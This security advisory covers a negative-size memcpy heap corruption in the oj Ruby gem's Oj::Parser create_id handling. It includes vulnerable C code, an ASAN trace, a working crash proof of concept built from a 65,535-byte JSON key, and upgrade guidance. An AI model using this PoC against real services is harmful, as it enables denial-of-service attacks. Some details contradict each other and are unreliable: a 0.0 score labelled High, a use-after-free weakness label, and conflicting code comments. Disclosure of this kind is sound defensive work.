GHSA-9cv6-qcjw-4grx CVE-2026-54900
Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.52%
- Chance of exploitation in the next 30 days. Higher than 43.97% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-416 Use After Free
- Fix
3.17.3- Upgrade oj to this version or later
Description
Summary
Oj::Parser#parse in usual mode with create_id enabled is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process.
Version
- Software: oj gem
- Affected: all versions with
ext/oj/usual.c - Latest tested: 3.17.1 (confirmed present)
Details
ext/oj/usual.c, form_attr:
// usual.c:55–64
static ID form_attr(const char *str, size_t slen) {
char buf[4096];
// ...
int blen = (int)slen + 1; // ← truncates: 65535 + 1 = 65536 → wraps to 0
// or: 65535 cast to int = 65535 (fits),
// but blen = 65536 → INT overflow on +1 if slen=INT_MAX
// ...
memcpy(buf, "@", 1);
memcpy(buf + 1, str, (size_t)blen); // ← size_t(-1) = SIZE_MAX
}
The cache (cache_intern) uses a fixed 65,536-byte slab. When slen = 65535, the arithmetic wraps and memcpy is called with (size_t)-1.
ASAN report:
==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1)
#0 memcpy
#1 form_attr /ext/oj/usual.c:63
#2 cache_intern /ext/oj/cache.c:326
#3 get_attr_id /ext/oj/usual.c:186
#4 close_object_create /ext/oj/usual.c:374
#5 parse /ext/oj/parser.c:693
#6 parser_parse /ext/oj/parser.c:1408
0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)
Reproduce
Generate the payload:
key = 'A' * 65535
with open('poc.json', 'w') as f:
f.write('{"json_class":"Oj::Bag","' + key + '":1}')
Trigger:
require 'oj'
Oj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read)
Affected versions
RubyGems
| Package | Vulnerable | Fixed in |
|---|---|---|
| oj | < 3.17.3 |
3.17.3 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
oj RubyGems → 3.17.3
- bundler
bundle update oj # Gemfile: gem "oj", ">= 3.17.3"
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
Weakness
CWE-416: Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.
How to prevent it
- Architecture and Design: Choose a language that provides automatic memory management.
- Implementation: When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-475m-ph3x-64gp Oj: Integer Overflow in Oj.load 2GB String Handling | High | Also affects oj |
| GHSA-m578-w5vf-rfcm Oj: Use-After-Free in Oj::Parser SAJ Long Key Callback | High | Also affects oj |
| GHSA-vwm4-62gf-x745 Oj: Use-After-Free in Oj::Parser array_class/hash_class GC Marking | High | Also affects oj |
| GHSA-q2gm-54r6-8fwm Oj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation | High | Also affects oj |
| GHSA-9ppp-w3g4-fh4q Oj: Use-After-Free in Oj::Doc Iterators via Reentrant Close | High | Also affects oj |
| GHSA-35w3-pjm6-wj95 Oj: Heap Buffer Overflow in Oj.dump Exception Serialization via Large Indent | High | Also affects oj |
| GHSA-3m6q-jj5j-38c9 Oj: Stack Buffer Overflow in Oj::Doc#each_child via Deeply Nested Input | High | Also affects oj |
| GHSA-fm7p-mprw-wjm9 Oj: intern.c form_attr (uninitialized stack read) | Medium | Also affects oj |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor